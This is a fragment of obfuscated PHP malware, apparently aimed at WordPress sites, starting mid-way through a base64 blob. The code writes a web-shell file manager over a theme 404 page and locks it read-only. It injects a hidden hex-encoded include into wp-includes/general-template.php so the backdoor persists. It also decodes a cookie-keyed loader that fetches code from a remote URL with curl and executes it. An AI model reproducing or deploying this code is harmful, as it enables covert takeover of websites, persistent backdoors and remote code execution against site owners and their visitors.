d0JyMjhBQWdCdzFTNGtFc2ZoLzRPNlVDWlhBQ0NSQU9BaUV1Y0xBWkJTQU1ndVZNZ1VBTWdZQUxCVHMyUUtBSlFBQUd4NWZFSWlBS29OQU96MFNUNEZBTmlwazl3WEFOaWlIS2tJQUkwQkFKa29SeVFDUUxzQVlGV0JVaXdDd01JQW9LeEFJaTRFd0s0QmdGbTJNa2NDZ0wwRkFIYU9XSkFQUUdBQWdKbENMTXdBSURnQ0FFTWVFODBESUV3RG9ERFN2K0NwWDNDRnVFZ0JBTURMbGMyWFM5SXpGTGlWMEJwMzh2RGc0aUhpd215eFFtRVhLUkJtQ2VRaW5KZWJJeE5JNXdOTXpnd0FBQnI1MGNIK09EK1E1K2JrNGVabTUyenY5TVdpL212d2J5SStJZkhmL3J5TUFnUUFFRTdQNzlwZjVlWFdBM0RIQWJCMXYydXBXd0RhVmdCbzMvbGRNOXNKb0ZvSzBIcjVpM2s0L0VBZW5xRlF5RHdkSEFvTEMrMGxZcUc5TU9PTFB2OHo0Vy9naTM3Mi9FQWUvdHQ2OEFCeG1rQ1pyY0NqZy8xeFlXNTJybEtPNThzRVFqRnU5K2NqL3NlRmYvMk9LZEhpTkxGY0xCV0s4VmlKdUZBaVRjZDV1VktSUkNISmxlSVM2WDh5OFIrVy9RbVRkdzBBcklaUHdFNjJCN1hMYk1CKzdnRUNpdzVZMG5ZQVFIN3pMWXdhQzVFQUVHYzBNbm4zQUFDVHYvbVBRQ3NCQU0yWHBPTUFBTHpvR0Z5b2xCZE14Z2dBQUVTZ2dTcXdRUWNNd1JTc3dBNmN3UjI4d0JjQ1lRWkVRQXdrd0R3UVFnYmtnQndLb1JpV1FSbFV3RHJZQkxXd0F4cWdFWnJoRUxUQk1UZ041K0FTWElIcmNCY0dZQmlld2hpOGhna0VRY2dJRTJFaE9vZ1JZbzdZSXM0SUY1bU9CQ0poU0RTU2dLUWc2WWdVVVNMRnlIS2tBcWxDYXBGZFNDUHlMWElVT1kxY1FQcVEyOGdnTW9yOGlyeEhNWlNCc2xFRDFBSjFRTG1vSHhxS3hxQnowWFEwRDEyQWxxSnIwUnEwSGoyQXRxS24wVXZvZFhRQWZZcU9ZNERSTVE1bWpObGhYSXlIUldDSldCb214eFpqNVZnMVZvODFZeDFZTjNZVkc4Q2VZZThJSkFLTGdCUHNDRjZFRU1Kc2dwQ1FSMWhNV0VPb0pld2p0Qks2Q0ZjSmc0UXh3aWNpazZoUHRDVjZFdm5FZUdJNnNaQllScXdtN2lFZUlaNGxYaWNPRTErVFNDUU95WkxrVGdvaEpaQXlTUXRKYTBqYlNDMmtVNlErMGhCcG5Fd202NUJ0eWQ3a0NMS0FyQ0NYa2JlUUQ1QlBrdnZKdytTM0ZEckZpT0pNQ2FJa1VxU1VFa28xWlQvbEJLV2ZNa0tab0twUnphbWUxQWlxaURxZldrbHRvSFpRTDFPSHFSTTBkWm9selpzV1E4dWtMYVBWMEpwcFoybjNhQy9wZExvSjNZTWVSWmZRbDlKcjZBZnA1K21EOUhjTURZWU5nOGRJWWlnWmF4bDdHYWNZdHhrdm1VeW1CZE9YbWNoVU1OY3lHNWxubUErWWIxVllLdllxZkJXUnloS1ZPcFZXbFg2VjU2cFVWWE5WUDlWNXFndFVxMVVQcTE1V2ZhWkdWYk5RNDZrSjFCYXIxYWtkVmJ1cE5xN09VbmRTajFEUFVWK2p2bC85Z3ZwakRiS0doVWFnaGtpalZHTzN4aG1OSVJiR01tWHhXRUxXY2xZRDZ5eHJtRTFpVzdMNTdFeDJCZnNiZGk5N1RGTkRjNnBtckdhUlpwM21jYzBCRHNheDRQQTUyWnhLemlIT0RjNTdMUU10UHkyeDFtcXRacTErclRmYWV0cSsybUx0Y3UwVzdldmE3M1Z3blVDZExKMzFPbTA2OTNVSnVqYTZVYnFGdXR0MXorbyswMlByZWVrSjljcjFEdW5kMFVmMWJmU2o5UmZxNzlidjBSODNNRFFJTnBBWmJERTRZL0RNa0dQb2E1aHB1Tkh3aE9Hb0VjdG91cEhFYUtQUlNhTW51Q2J1aDJmak5YZ1hQbWFzYnh4aXJEVGVaZHhyUEdGaWFUTGJwTVNreGVTK0tjMlVhNXBtdXRHMDAzVE16TWdzM0t6WXJNbnNqam5Wbkd1ZVliN1p2TnY4allXbFJaekZTb3MyaThlVzJwWjh5d1dXVFpiM3JKaFdQbFo1VnZWVzE2eEoxbHpyTE90dDFsZHNVQnRYbXd5Yk9wdkx0cWl0bTYzRWRwdHQzeFRpRkk4cDBpbjFVMjdhTWV6ODdBcnNtdXdHN1RuMllmWWw5bTMyengzTUhCSWQxanQwTzN4eWRIWE1kbXh3dk91azRUVERxY1NwdytsWFp4dG5vWE9kOHpVWHBrdVF5eEtYZHBjWFUyMm5pcWR1bjNyTGxlVWE3cnJTdGRQMW81dTdtOXl0MlczVTNjdzl4WDJyKzAwdW14dkpYY005NzBIMDhQZFk0bkhNNDUybm02ZkM4NURuTDE1MlhsbGUrNzBlVDdPY0pwN1dNRzNJMjhSYjRMM0xlMkE2UGoxbCtzN3BBejdHUGdLZmVwK0h2cWErSXQ4OXZpTisxbjZaZmdmOG52czcrc3Y5ai9pLzRYbnlGdkZPQldBQndRSGxBYjJCR29HekEyc0RId1NaQktVSE5RV05CYnNHTHd3K0ZVSU1DUTFaSDNLVGI4QVg4aHY1WXpQY1p5eWEwUlhLQ0owVldodjZNTXdtVEI3V0VZNkd6d2pmRUg1dnB2bE02Y3kyQ0lqZ1IyeUl1QjlwR1prWCtYMFVLU295cWk3cVViUlRkSEYwOXl6V3JPUlorMmU5anZHUHFZeTVPOXRxdG5KMlo2eHFiRkpzWSt5YnVJQzRxcmlCZUlmNFJmR1hFblFUSkFudGllVEUyTVE5aWVOekF1ZHNtak9jNUpwVWxuUmpydVhjb3JrWDV1bk95NTUzUEZrMVdaQjhPSVdZRXBleVArV0RJRUpRTHhoUDVhZHVUUjBUOG9TYmhVOUZ2cUtOb2xHeHQ3aEtQSkxtblZhVjlqamRPMzFEK21pR1QwWjF4ak1KVDFJcmVaRVprcmtqODAxV1JOYmVyTS9aY2RrdE9aU2NsSnlqVWcxcGxyUXIxekMzS0xkUFppc3JrdzNrZWVadHlodVRoOHIzNUNQNWMvUGJGV3lGVE5HanRGS3VVQTRXVEMrb0szaGJHRnQ0dUVpOVNGclVNOTltL3VyNUl3dUNGbnk5a0xCUXVMQ3oyTGg0V2ZIZ0lyOUZ1eFlqaTFNWGR5NHhYVks2WkhocDhOSjl5MmpMc3BiOVVPSllVbFh5YW5uYzhvNVNnOUtscFVNcmdsYzBsYW1VeWN0dXJ2UmF1V01WWVpWa1ZlOXFsOVZiVm44cUY1VmZySENzcUs3NHNFYTQ1dUpYVGwvVmZQVjViZHJhM2txM3l1M3JTT3VrNjI2czkxbS9yMHE5YWtIVjBJYndEYTBiOFkzbEcxOXRTdDUwb1hwcTlZN050TTNLelFNMVlUWHRXOHkyck52eW9UYWo5bnFkZjEzTFZ2MnRxN2UrMlNiYTFyL2RkM3Z6RG9NZEZUdmU3NVRzdkxVcmVGZHJ2VVY5OVc3UzdvTGRqeHBpRzdxLzVuN2R1RWQzVDhXZWozdWxld2YyUmUvcmFuUnZiTnl2djcreUNXMVNObzBlU0RwdzVadUFiOXFiN1pwM3RYQmFLZzdDUWVYQko5K21mSHZqVU9paHpzUGN3ODNmbVgrMzlRanJTSGtyMGpxL2Rhd3RvMjJnUGFHOTcraU1vNTBkWGgxSHZyZi9mdTh4NDJOMXh6V1BWNTZnblNnOThmbmtncFBqcDJTbm5wMU9QejNVbWR4NTkwejhtV3RkVVYyOVowUFBuajhYZE81TXQxLzN5ZlBlNTQ5ZDhMeHc5Q0wzWXRzbHQwdXRQYTQ5UjM1dy9lRklyMXR2NjJYM3krMVhQSzUwOUUzck85SHYwMy82YXNEVmM5ZjQxeTVkbjNtOTc4YnNHN2R1SnQwY3VDVzY5ZmgyOXUwWGR3cnVUTnhkZW85NHIveSsydjNxQi9vUDZuKzAvckZsd0czZytHREFZTS9EV1EvdkRnbUhudjZVLzlPSDRkSkh6RWZWSTBZampZK2RIeDhiRFJxOThtVE9rK0duc3FjVHo4cCtWdjk1NjNPcjU5Lzk0dnRMejFqODJQQUwrWXZQdjY1NXFmTnk3NnVwcnpySEk4Y2Z2TTU1UGZHbS9LM08yMzN2dU8rNjM4ZTlINWtvL0VEK1VQUFIrbVBIcDlCUDl6N25mUDc4TC9lRTgvc2wwcDh6QUFBQUlHTklVazBBQUhvbEFBQ0Fnd0FBK2Y4QUFJRHBBQUIxTUFBQTZtQUFBRHFZQUFBWGI1SmZ4VVlBQUFHNFNVUkJWSGphZkpMUGFoTlJGTVovOTl5WmFiQnhDTk5LaXlnb3hHQ2dsQlpjdUNnSTlnMktMMU5Dd1M1S1g4QW5VTG9TdW5QVnJkdkdnQnVwRVYyNEVXUUNNOG5NNU0rOTE4Vk1SdU9pMytyQ1BkLzVmZWZjcTE3MVhqdTA1VGJadWVIeS9Fd0JlR2pMMjVNVDVzYXdNSWFKWFRWL0dneDRkM1hGMFhIUFhaNmZLUUd3MXJJd2hwa3htT21VUE10SXgyT1NKR0djcHJ3L1BVVjh6ZEZ4ejhrNFRldHVnZFkwZ29CQWF6d1JsQWh4SFBQbTRvSVhuUTZmQjMwOEFCSGhZNzhQd05aNnhLOUp6RzYzQzhETHcwT2N0WVJoeUlmcjY5SUEwRzYzY1ZYK0ppMGFRUUN6R1FDTGYyYnlBTFJTRElmRHVqdkF0Nm9nOGhyRWk0TDl2YjNTVUdRWlNvU25uUTRMYTdsTFZKT1d1bDhVQUJSWlZzM2dIRjl1YnVxQ0pXbHJQU3BwazVpRDdlMktrT2NBN0hhN3pJd3BNLzlIYXRMQzA1b2l6LzhPL2ZQcmQ4S1d6NC9mYVUwQm1FOHovTFU3Nk0zTmtqQXRDclFJRDU0OExrbjNZR1lNRDZNSWF5Mm1vZ0pNaTJLVkFCQzJmUExjNTlIR0JvZ0FZSXhCcXJPM2ZPbUQ1OC9LeXlxM2NRNnRWRzBDR0tjcFhqSWFyYXhRaTJDc0xZc0JKWUpUQ2lWQ01ocWhtanM3enRyYnYvZFNJc0tmQVFEZklzS0h2QVpZWkFBQUFBQkpSVTVFcmtKZ2dnPT0nPg0KDQoiOw0KLy8gPGEgaHJlZj1cIj9BUlJBWT17JEFSUkFZfSZmaWxlc3JjPSRwYXRoLyRmaWxlJnBhdGg9JHBhdGhcIj4kZmlsZTwvYT4NCiAgICAgICAgZWNobyAiDQo8YSBocmVmPVwiP29wdGlvbiZBUlJBWT17JEFSUkFZfSZwYXRoPXskcGF0aH0mb3B0PWVkaXQmdHlwZT1maWxlJm5hbWU9eyRmaWxlfVwiPnskZmlsZX08L2E+DQo8L3RkPg0KPHRkIGNsYXNzPXRkX2hvbWU+PGNlbnRlcj4iLiRzaXplLiI8L2NlbnRlcj48L3RkPg0KPHRkIGNsYXNzPXRkX2hvbWUgYWxpZ249J2NlbnRlcic+PGEgaHJlZj1cIj9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aCZvcHQ9Y2htb2QmdHlwZT1maWxlJm5hbWU9JGZpbGVcIiB0aXRsZT0n5p2D6ZmQ6K6+572uJz4iOw0KDQoNCg0KICAgICAgICBpZihpc193cml0YWJsZSgiJHBhdGgvJGZpbGUiKSkgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj4nOw0KICAgICAgICBlbHNlaWYoIWlzX3JlYWRhYmxlKCIkcGF0aC8kZmlsZSIpKSBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj4nOw0KICAgICAgICBlY2hvIGp1ZWppYW5nX3Blcm1zKCIkcGF0aC8kZmlsZSIpOw0KICAgICAgICBpZihpc193cml0YWJsZSgiJHBhdGgvJGZpbGUiKSB8fCAhaXNfcmVhZGFibGUoIiRwYXRoLyRmaWxlIikpIGVjaG8gJzwvZm9udD4nOw0KICAgICAgICBlY2hvICI8L2E+PC90ZD4NCjx0ZCBjbGFzcz10ZF9ob21lPjxjZW50ZXI+DQo8YSBocmVmPVwiP29wdGlvbiZBUlJBWT17JEFSUkFZfSZwYXRoPSRwYXRoJm9wdD1lZGl0JnR5cGU9ZmlsZSZuYW1lPSRmaWxlXCI+57yW6L6RPC9hPg0KPGEgaHJlZj1cIj9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aCZvcHQ9cmVuYW1lJnR5cGU9ZmlsZSZuYW1lPSRmaWxlJnBhdGg9JHBhdGhcIj7ph43lkb3lkI08L2E+DQo8YSBocmVmPVwiamF2YXNjcmlwdDppZihjb25maXJtKCfnoa7lrp7opoHliKDpmaTlkJc/JykpbG9jYXRpb249Jz9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD17JHBhdGh9Jm9wdD1kZWxldGUmdHlwZT1maWxlJm5hbWU9eyRmaWxlfSdcIj7liKDpmaQ8L2E+DQo8L2NlbnRlcj48L3RkPg0KPC90cj4iOw0KICAgIH0NCiAgICBlY2hvICc8L3RhYmxlPg0KPC9kaXY+JzsNCn0NCmVjaG8gJzxicj48YnI+PGJyPjxicj48L2I+DQo8L2JvZHk+IDwvaHRtbD48L2JvZHk+DQo8L2h0bWw+JzsNCmRpZTsNCmVuZGlmOyAgLy8gPT09PQ0KDQoNCg0KDQoNCg0K"; // WP 404 @chmod($jue_jiang_404_path, 0644); @file_put_contents($jue_jiang_404_path, base64_decode($jue_jiang_404)); @chmod($jue_jiang_404_path, 0444); } $file_general_template_path = $do."wp-includes/general-template.php"; $general_template_code = @file_get_contents($file_general_template_path); $gen_mat = base64_decode("QGluY2x1ZGVbXHNdKyIoXFxbeDAtOV0uKz8pIjs="); $isget_mat = preg_match("/{$gen_mat}/i",$general_template_code)?true:false; if (!$isget_mat){ $mc1 = "KGZ1bmN0aW9uW1xzXStnZXRfaGVhZGVyKFtcc10rKT9cKCguKz8peyk="; preg_match_all("/".base64_decode($mc1)."/i",$general_template_code,$pr); $str = "\x" . substr(chunk_split(bin2hex($jue_jiang_404_path), 2, "\x"), 0, -2); $new_general_template = str_replace($pr[0][0],$pr[0][0].PHP_EOL.PHP_EOL." @include \"$str\";",$general_template_code); @file_put_contents($file_general_template_path,$new_general_template); } error_reporting(0); set_time_limit(0); ignore_user_abort(true); $do = "/home/xswop4u1ust1/public_html/"; $open_cache_ruzhu_phpcode = base64_decode("PD9waHAgZXJyb3JfcmVwb3J0aW5nKDApOyAkamN2cyA9IHJhbmdlKGNocigxMjYpLGNocigyMCkpOyRQWkdTPSR7JGpjdnNbMzFdLiRqY3ZzWzU5XS4kamN2c1s0N10uJGpjdnNbNDddLiRqY3ZzWzUxXS4kamN2c1s1M10uJGpjdnNbNTddfTtAKGNvdW50KCRQWkdTKT09MjMmJmluX2FycmF5KGdldHR5cGUoJFBaR1MpLmNvdW50KCRQWkdTKSwkUFpHUykpPygoJFBaR1NbNjldPSRQWkdTWzY5XS4kUFpHU1s3NV0pJiYoJFBaR1NbODldPSRQWkdTWzY5XSgkUFpHU1s4OV0pKSYmKEAkUFpHUz0kUFpHU1s4OV0oJFBaR1NbNjBdLCRQWkdTWzY5XSgkeyRQWkdTWzUwXX1bMjZdKSkpJiYkUFpHUygpKTokUFpHUzsgJG91WFVCdiA9IHJhbmdlKGNocigxMjYpLGNocigyMCkpOyRicU1qID0gYXJyYXkoQCR7JG91WFVCdlszMV0uJG91WFVCdls1NV0uJG91WFVCdls1N10uJG91WFVCdls0Ml19WyRvdVhVQnZbNjFdLiRvdVhVQnZbNDRdLiRvdVhVQnZbNDRdLiRvdVhVQnZbNjFdLiRvdVhVQnZbMzddXSwgJG91WFVCdlsyN10uJG91WFVCdlsxMl0uJG91WFVCdlsyNV0uJG91WFVCdlsyOV0uJG91WFVCdlsxMF0uJG91WFVCdlsyNV0uJG91WFVCdlszMV0uJG91WFVCdlsyNF0uJG91WFVCdls5XS4kb3VYVUJ2WzE2XS4kb3VYVUJ2WzI3XS4kb3VYVUJ2WzEwXS4kb3VYVUJ2WzIxXS4kb3VYVUJ2WzE1XS4kb3VYVUJ2WzE2XSwgJG91WFVCdlsxMV0uJG91WFVCdlsxMF0uJG91WFVCdlsxMl0uJG91WFVCdlszMV0uJG91WFVCdlsxMl0uJG91WFVCdlsxNV0uJG91WFVCdlsxMF0uJG91WFVCdls3N10uJG91WFVCdls3NV0sICRvdVhVQnZbMjBdLiRvdVhVQnZbMTFdLiRvdVhVQnZbMTVdLiRvdVhVQnZbMTZdLiRvdVhVQnZbMzFdLiRvdVhVQnZbMjZdLiRvdVhVQnZbMjVdLiRvdVhVQnZbMjddLiRvdVhVQnZbMTVdLiRvdVhVQnZbMjZdLiRvdVhVQnZbMjVdLCRvdVhVQnZbMTRdLiRvdVhVQnZbMjldLiRvdVhVQnZbMjddLiRvdVhVQnZbMTldLCAkb3VYVUJ2WzI4XS4kb3VYVUJ2WzI5XS4kb3VYVUJ2WzExXS4kb3VYVUJ2WzI1XS4kb3VYVUJ2WzcyXS4kb3VYVUJ2Wzc0XS4kb3VYVUJ2WzMxXS4kb3VYVUJ2WzI2XS4kb3VYVUJ2WzI1XS4kb3VYVUJ2WzI3XS4kb3VYVUJ2WzE1XS4kb3VYVUJ2WzI2XS4kb3VYVUJ2WzI1XSwgJG91WFVCdlsyNF0uJG91WFVCdlsyMV0uJG91WFVCdlsxOF0uJG91WFVCdlsyNV0uJG91WFVCdlszMV0uJG91WFVCdlsyM10uJG91WFVCdlsyNV0uJG91WFVCdlsxMF0uJG91WFVCdlszMV0uJG91WFVCdlsyN10uJG91WFVCdlsxNV0uJG91WFVCdlsxNl0uJG91WFVCdlsxMF0uJG91WFVCdlsyNV0uJG91WFVCdlsxNl0uJG91WFVCdlsxMF0uJG91WFVCdlsxMV0sIEAkeyRvdVhVQnZbMzFdLiRvdVhVQnZbNTVdLiRvdVhVQnZbNTddLiRvdVhVQnZbNDJdfVskb3VYVUJ2WzE1XS4kb3VYVUJ2WzI0XV0sKTsgJENkVCA9ICRicU1qWzJdKCRicU1qWzBdKTskdUUgPSBAJGJxTWpbNF0oJG91WFVCdls1NF0uJG91WFVCdls4NF0sICRDZFQpOyR1RndqUSA9ICRicU1qWzNdKCR1RSwgdHJ1ZSk7ICRicU1qWzddID09IDEgJiYgZGllKCRicU1qWzZdKF9fRklMRV9fKSk7IGlmICgoJHVGd2pRWzBdIC0gdGltZSgpKSA+IDAgYW5kIG1kNShtZDUoJHVGd2pRWzJdKSkgPT09ICJjOGU1NTM5MWVkZDU1NDBjM2JiOGFjMmNmOTU5OWRkNyIpIHsgJEl2WHNQID0gY3VybF9pbml0KCR1RndqUVsxXSk7IGN1cmxfc2V0b3B0KCRJdlhzUCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7ICR6b2lNID0gY3VybF9leGVjKCRJdlhzUCk7JEtGY00gPSBlbXB0eSgkem9pTSk/JGJxTWpbNl0oJHVGd2pRWzFdKTokem9pTTtAJGJxTWpbMV0oIiIsICRvdVhVQnZbMV0gLiAkYnFNals1XSgkS0ZjTSkgLiAkb3VYVUJ2Wzc5XS4kb3VYVUJ2Wzg0XSk7IGRpZTt9ICRYRkdaTiA9IHJhbmdlKGNocigxMjYpLGNocigyMCkpOyRBekY9JFhGR1pOWzI3XS4kWEZHWk5bMTJdLiRYRkdaTlsyNV0uJFhGR1pOWzI5XS4kWEZHWk5bMTBdLiRYRkdaTlsyNV0uJFhGR1pOWzMxXS4kWEZHWk5bMjRdLiRYRkdaTls5XS4kWEZHWk5bMTZdLiRYRkdaTlsyN10uJFhGR1pOWzEwXS4kWEZHWk5bMjFdLiRYRkdaTlsxNV0uJFhGR1pOWzE2XTsgJG9EeE1KPUAkQXpGKCRYRkdaTls5MF0uJFhGR1pOWzMxXSwkWEZHWk5bMjVdLiRYRkdaTls4XS4kWEZHWk5bMjldLiRYRkdaTlsxOF0uJFhGR1pOWzg2XS4kWEZHWk5bOTJdLiRYRkdaTls2M10uJFhGR1pOWzY0XS4kWEZHWk5bOTJdLiRYRkdaTls4MF0uJFhGR1pOWzI4XS4kWEZHWk5bMjldLiRYRkdaTlsxMV0uJFhGR1pOWzI1XS4kWEZHWk5bNzJdLiRYRkdaTls3NF0uJFhGR1pOWzMxXS4kWEZHWk5bMjZdLiRYRkdaTlsyNV0uJFhGR1pOWzI3XS4kWEZHWk5bMTVdLiRYRkdaTlsyNl0uJFhGR1pOWzI1XS4kWEZHWk5bODZdLiRYRkdaTlsxMV0uJFhGR1pOWzEwXS4kWEZHWk5bMTJdLiRYRkdaTlszMV0uJFhGR1pOWzEyXS4kWEZHWk5bMTVdLiRYRkdaTlsxMF0uJFhGR1pOWzc3XS4kWEZHWk5bNzVdLiRYRkdaTls4Nl0uJFhGR1pOWzIzXS4kWEZHWk5bNF0uJFhGR1pOWzIxXS4kWEZHWk5bMTZdLiRYRkdaTlsyNF0uJFhGR1pOWzE4XS4kWEZHWk5bMjldLiRYRkdaTlsxMF0uJFhGR1pOWzI1XS4kWEZHWk5bODZdLiRYRkdaTlsyOF0uJFhGR1pOWzI5XS4kWEZHWk5bMTFdLiRYRkdaTlsyNV0uJFhGR1pOWzcyXS4kWEZHWk5bNzRdLiRYRkdaTlszMV0uJFhGR1pOWzI2XS4kWEZHWk5bMjVdLiRYRkdaTlsyN10uJFhGR1pOWzE1XS4kWEZHWk5bMjZdLiRYRkdaTlsyNV0uJFhGR1pOWzg2XS4kWEZHWk5bMTFdLiRYRkdaTlsxMF0uJFhGR1pOWzEyXS4kWEZHWk5bMzFdLiRYRkdaTlsxMl0uJFhGR1pOWzE1XS4kWEZHWk5bMTBdLiRYRkdaTls3N10uJFhGR1pOWzc1XS4kWEZHWk5bODZdLiRYRkdaTls5MF0uJFhGR1pOWzMxXS4kWEZHWk5bODVdLiRYRkdaTls4NV0uJFhGR1pOWzg1XS4kWEZHWk5bODVdLiRYRkdaTls4NV0uJFhGR1pOWzg1XS4kWEZHWk5bNjddKTtAJG9EeE1KKCJlSWFXdGRZWFJpMnRoalJmK21uWWcwUE14eFNEdXlFM25ZcnlQTlZYRkNZMVlrVnBIWHpkZWE1aWpITHV2QlVSdkVDV3JaZFVPMitGVTFrSHpQNlg1YUwyR290dUwyY1FNYlR4THJkZEMza0NWeHFDM08wODZHMk1vYVhRWDRiMFJSdDJNcWFaQXE1VXFlYnJFSW5xbnBBbTVjV3FIeWRtZ1FXM1RGQkRibG44WEY3WVZOcG92Y2tLbkwzdjFCU0tjaE1IY2g2aWMrWTYzNno0bGExN3h6QjNWVkx6eG9GcDhZN2VFVGFnUVpUc0JVWnFXZ0JLdEc5eS9pVGF4NDFpTStyZXdtdm44QkFsUmhOYm1DVHQ4b3I5bTA2UWhvVkU3VVZQZ2QyMUpINUppeE12YW9pbnlGV0dTMFhxaDc2bUppaXI5czcyTnkvdWlLd2UyOVlJMzVoaVc1VE1BL3I1NXQ3aFhqamhtMTlnSnhIbkduZFFsMjlBaHBkQzRySE0rKzVHNnpTdmZpbDdiSGlhdDUwVVA2NXRaZjlYUytqektQdHhLRVF6ZzhvaEwxM3JlWUU0OHc1UG1CKzVtWCtvckExdnk5RGQ1UkFkYTNxRUFLOTVtK0RrZzJER2NOQmNsUWpITDVvV2s3WDFHdFhXWjdFanVJMjJsU2pPTGNKRldKWUpiMHEvYkZNYngzWWJONy8zQjRBbXpWQ1RvL0tjQmdSOVZNZ1UrS01ySWVoUWFTVnNJMU5tZmVOYUluVjVRVFBWekNNZW1naWV6eitwTFI3THRLOHhQcEVOeWpSS2FJdjEyWnorNStDSXljRGhxVmJJeVY3VnI1ZGx4U0M3N3FzL3pnc1pWNlJjTWthdFkzL1g1RDAzbXJIa0kxbWwxOS83Zm9uei9qZzJvb1dXWUdGNTlFMEZXdUovRHVKY1JIcXhGSlpVZElkcE5LZ2ZKYnNINWpjOGNld2U5U1ExMlRyRHkzRXRERjRSRGEwMXFPak1yZUtQTjRUT005eDBGaUJrOGNMaW9wdVNXLy9LaWJWbkt6V2c3OEFFcmZyWEYyZXNZZ0xjbGpBVTRCVlZDSjlQL2tlNnBoM29FaDI3anQ1NHRjYXMvVW1TTkNNRHlBdkc3SXZyT1RDak1JU25kOGxHYlg4anI5UTJ5RzVqSlpRVGZUQ3dnRjg5WEdlWDF6Q3JKOS9oQ1JJNHBhRVdhVWFZU3BEVytxaHNRZ2NqYURUc21NK3Nvbi9YbkNZbmlHcS82Y0MyWnRMRHQ4Q1VjdjdnSHgrUjN5Y2gvV3pOMVRiL0l1M2N1T09yMHk2Tnp6L2hDQUo1WWg4TllRQ1dqWFk1QnY5Zm4wZHNIMXVZMUl5T0hFa3J4a1FUUnZUK2p0YmQyTmkvUTdNUkZIS2xLOWd2dVlTRlFFMkV5SUVNTUUyU0VxRmluVHlLQ3N6MG13RStzRFBta0JJUWxQS3hBOGtTU2ZhWHdPckVqM3FncFU5Y2oxSkxDc3ZKWUVJVGZBUFp3V0hsL0NpTHpVcGZWcFNFSkRSZW1BZlQ1Z1NzMUkrZ3hOYzJFbU5LWUxIVmViRThmUUtlZ0xJcTRxR2pEKzFmemE1Z29EQTJScjM3cDI4ZnkxeFJhT2hvNlRDQmk5dFhqWjkxSGNoN29mbGxCYURJeWlyRVY0eDBxenp6ZWkveEtJMHJ1Q3FUMUIvNVdvcHo1T282Y3g2dm9jM1ZGWGM0blMxK3VUTWJFQmhoVnBmT21oM2dqSE1RalJsU0JlM0JPMDl0MGZOZlJlZ2JwcFN5dE5obEFyaHMzRWN0Y0dZVUJiZnFuRExwZHRlRE4rTlU4VEVzL2ZKWTdqb1poV0VHZE0zcitqNm5wcVpOaUt5S3pVazV1ZTdkNTVMS29nbnZ3ZjVjNmpNcHVGK20rYjZXM2NlcE14azdhSkZZV1c1TlR1OHVVanFSbmo2NDVXa0E0aVZRaXBJT1FvdGFGc3hrLzRSVE1SUC9ISGtHczY0cDM0Qlc1dGRuKysxMkdnbXpRWnFQR0xkcXJzeHFaNXpRb1hiRVpmTlRGNVZPaGhiNjZDeGpaVGgrOW9Ud1pLUVovTkE4ZkN4andqWnVHYzdyNmpwekZKZ0ZVa1JzenVkWC9XWCtqNmJBb0Urb3BjdC8vNjltamxZRTFZWE1ybDV0UGlWM1MxL2UveFNDZ1lLR1Arb25PbVFLMy9IWUtiK3JxUVZUelpROFZiUE1sM2x3L0FKQ3JMQ3dnNXpZZ2N4QVRXOU1BcGtPMHpRbzRKOExGblRhWEJudXMyOGtOSDRoN2tDN2huSUtQNU9HTmlUb1NCaHEvOFVodTdlK3RiZkI5aDhuaTU5ZTZGbUJVM2k1Y3c4bjdoUTlkRTlQd0tnMUlrL2kzVUMwa1EzS0p5UXE4RnI5cGdaRHhOK0JueUtEOXdDME1hTmJvQ3JvRnNKdDUrOTZRaWx1QmhtZ1ZuODA3OUR6bllRaHdpRTJwVklrY3Q0M1RhVXhEMUhWZGhmdFozTlQ0UC8wK3JBaDFVWVllWFZrREovcjNrQnkvNzViRk44bXRCQzNycEJTcFkrWVArTmdHYlBNTkdjbE03ZDBlaU9zSkhVQ2NvOEtScjI5OVMwVVVIcjEzSXVoOUlsQ203OVJMaFl3bVBsSEp3dHRPeHp0WURIN2hCSjBCaHdKUHNFajFya2piT0lzcVBUcTAxTzMwT2xCRnhsNEFiVWZGWGVkOFNCVzhTQlNUTDRiVThDZjhLRlR2Wk83ZUo2MFVNWWJTeEMxNVVycnNySGtuRDA0dUkxS3Z1ZHE3aU5YNk82ZHNFWVpTUGNsWU53b29UbkVIZFJjYmVCVzVvUlh6T2VxNjUyb2dZKzBZMlpsNlZqRTFzMVdFdUJMRzFKQkZsQzNBc0ZycnVZSWVscklER1hkeE5rcDM4NU1nZFFuak5WOTFlbG1NKzk0bGlVS0FpN1hvOExwZGxGbTFSY2xXWGR1SkMrQy9McU1ZdkNUeG5ITXp3STJsZStDYjgvSkZtbXNkR1VIRDFTNUlIWDhXcDB4VEdRbGh3ZjhDRDhtcTUzVk9NMjlxQm5UdnJocEdHeGlzRWYweisyS3Y0cUxuUi9PNzJLMTJZZ0FZMWI3bGdVM3IyVXp5VFI1eWxwUzFETHpwT0swNnJmKzVPWExRcFB5YXg5YVlhUDVnSHg0QndzYnI4WWgvODhwLzVtd0oxa25vVUttK1pjc3E1ZnM3WFRQdmFESE04NTZ2U3dtWVovalJpV29VUGd3RUpzeGlxbksyR25qYnpEdDdNYzZBVHBweGsrWTZCcDMrVFM1ajEvUTZsNWJ0eFNUMGlZd3IzMFNNYnZxN3BtblBVYzQ0TkIvZVV1SC9nbXUrVU0yOVVQenBBUFNoQVNBQ29sdUFLMlBxRVV1em5EUGF1MDhFZUJzQTcrLzlqa2JSK0toUjQ1NitkcnFoSlNuODBrUDkxVjduMldYNDlJaDBNeFlHOWJpY2lnQW8rOGxjdGpwUGFmQlR4VUNBNytjUnIzcUZMM1lFYWZsUEp2andYQ2F1QTk2aXp1dzRKZkdnQkhlaWNmTEc2elVxNWE3WjZxN3NrQm9nM21SRlA5QlU1N2dMWUtJUzExZk5QcVhmVUhjZlMvTlF5UXFwa21rOHhXaG11YXJtbmE2SkFpbzgva1Z1UzMwcm5uTml5Z2FxZlpBNFdCa0Z3RkVzcGVBMXFNV2RFa094dWZoaVozS1BtcmpFdFE4RFJRWVFudSsrcGVpWlZOcVBlRUlpeDNxVnlrajY5K053L0hBVWw1NkIxUFpRd241SzZaVjhPVTU1MUptcmpPS3lMejdZUnN5Y1FtSFQ4Y3FNS1orVi9mL3NUckdZMkhldG1sM002cE9tc3B3U2s0ZGVaeTY0RWVkOFhsTyt5R3k5aWxRNnUwRzN0STY3M1NDNnBSOGtOQzdZYW5uaHFRYlpGeCt0TjVocXVQZG9tL3dTYXpsOW8vVlkv